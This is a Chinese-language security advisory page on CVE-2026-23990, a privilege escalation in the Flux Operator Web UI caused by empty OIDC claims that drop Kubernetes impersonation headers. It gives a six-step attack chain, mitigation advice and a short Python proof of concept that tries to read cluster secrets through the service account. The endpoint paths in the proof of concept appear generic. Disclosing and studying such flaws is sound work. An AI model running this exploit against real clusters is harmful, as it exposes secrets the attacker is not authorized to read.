IPBUF安全漏洞报告
English
CVE-2026-23990 CVSS 5.3 中危

CVE-2026-23990: Flux Operator Web UI身份验证绕过导致权限提升

披露日期: 2026-01-21

漏洞信息

漏洞编号
CVE-2026-23990
漏洞类型
权限提升/身份验证绕过
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Flux Operator (controlplaneio-fluxcd/flux-operator)

相关标签

Flux OperatorKubernetes权限提升身份验证绕过RBACOIDCCEL表达式服务账户CVE-2026-23990

漏洞概述

CVE-2026-23990是Flux Operator中的一个特权提升漏洞。Flux Operator是管理CNCF Flux CD和企业发行版生命周期的Kubernetes CRD控制器。该漏洞存在于Web UI身份验证代码中,攻击者可绕过Kubernetes RBAC模拟机制,使用flux-operator服务账户的权限执行API请求。漏洞影响版本0.36.0至0.40.0。当集群管理员配置了缺少必要声明(如email、groups)的OIDC提供者,或自定义CEL表达式可评估为空值时,经过CEL处理后的用户名和组值为空,Kubernetes client-go库不会添加模拟头,导致请求以服务账户凭据执行,造成权限提升、数据泄露和信息暴露风险。

技术细节

漏洞根源在于OIDC令牌声明处理后缺乏空值验证。当管理员配置不完整的OIDC提供者时,CEL表达式处理后的username和groups字段可能为空。Kubernetes client-go库在检测到空值时不添加Impersonate-*头,转而使用当前服务账户凭据发送请求。攻击流程:1) 获取有效但声明不完整的OIDC令牌;2) 通过Flux Operator Web UI认证;3) 令牌经CEL表达式处理后产生空用户名和空组;4) 后续API请求以flux-operator服务账户权限执行;5) 绕过RBAC限制访问受限资源。修复方案在v0.40.0中验证处理后的值非空,确保始终添加模拟头。

攻击链分析

STEP 1
步骤1
攻击者获取或构造一个缺少必要声明(email、groups)的OIDC令牌
STEP 2
步骤2
使用该令牌通过Flux Operator Web UI进行身份验证
STEP 3
步骤3
OIDC令牌声明经过CEL表达式处理后,username和groups字段变为空值
STEP 4
步骤4
由于值为空,Kubernetes client-go库不添加Impersonate-*模拟头
STEP 5
步骤5
API请求以flux-operator服务账户权限执行,绕过原用户的RBAC限制
STEP 6
步骤6
攻击者获得服务账户的高权限访问,实现权限提升、数据泄露或信息暴露

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-23990 PoC - Flux Operator Privilege Escalation # Requires: OIDC provider with missing claims (email, groups) # Target: Flux Operator Web UI import requests import json TARGET = "https://<flux-operator-host>" OIDC_TOKEN = "<token-with-missing-claims>" def exploit(): headers = { "Authorization": f"Bearer {OIDC_TOKEN}", "Content-Type": "application/json" } # Step 1: Authenticate with incomplete OIDC token auth_resp = requests.post( f"{TARGET}/api/v1/auth/login", headers=headers, json={"token": OIDC_TOKEN} ) if auth_resp.status_code == 200: session = auth_resp.json().get("session_token") # Step 2: Execute API request that should be blocked by RBAC # Due to missing claims, request executes with service account privileges priv_esc_headers = { "Authorization": f"Bearer {session}" } # Attempt to access restricted resources escalate_resp = requests.get( f"{TARGET}/api/v1/namespaces/all/secrets", headers=priv_esc_headers ) # If successful, privilege escalation occurred if escalate_resp.status_code == 200: print("[+] Privilege escalation successful!") print(f"[+] Leaked data: {escalate_resp.text[:500]}") else: print("[-] Exploitation failed") if __name__ == "__main__": exploit()

影响范围

flux-operator >= 0.36.0
flux-operator < 0.40.0

防御指南

临时缓解措施
立即升级到Flux Operator v0.40.0,该版本修复了OIDC令牌声明处理后的空值验证问题。同时确保OIDC提供者配置正确,颁发的令牌包含email和groups等必要声明。如无法立即升级,可临时限制flux-operator服务账户权限,移除不必要的cluster-admin或admin角色绑定,并启用Kubernetes审计日志监控潜在的权限提升行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表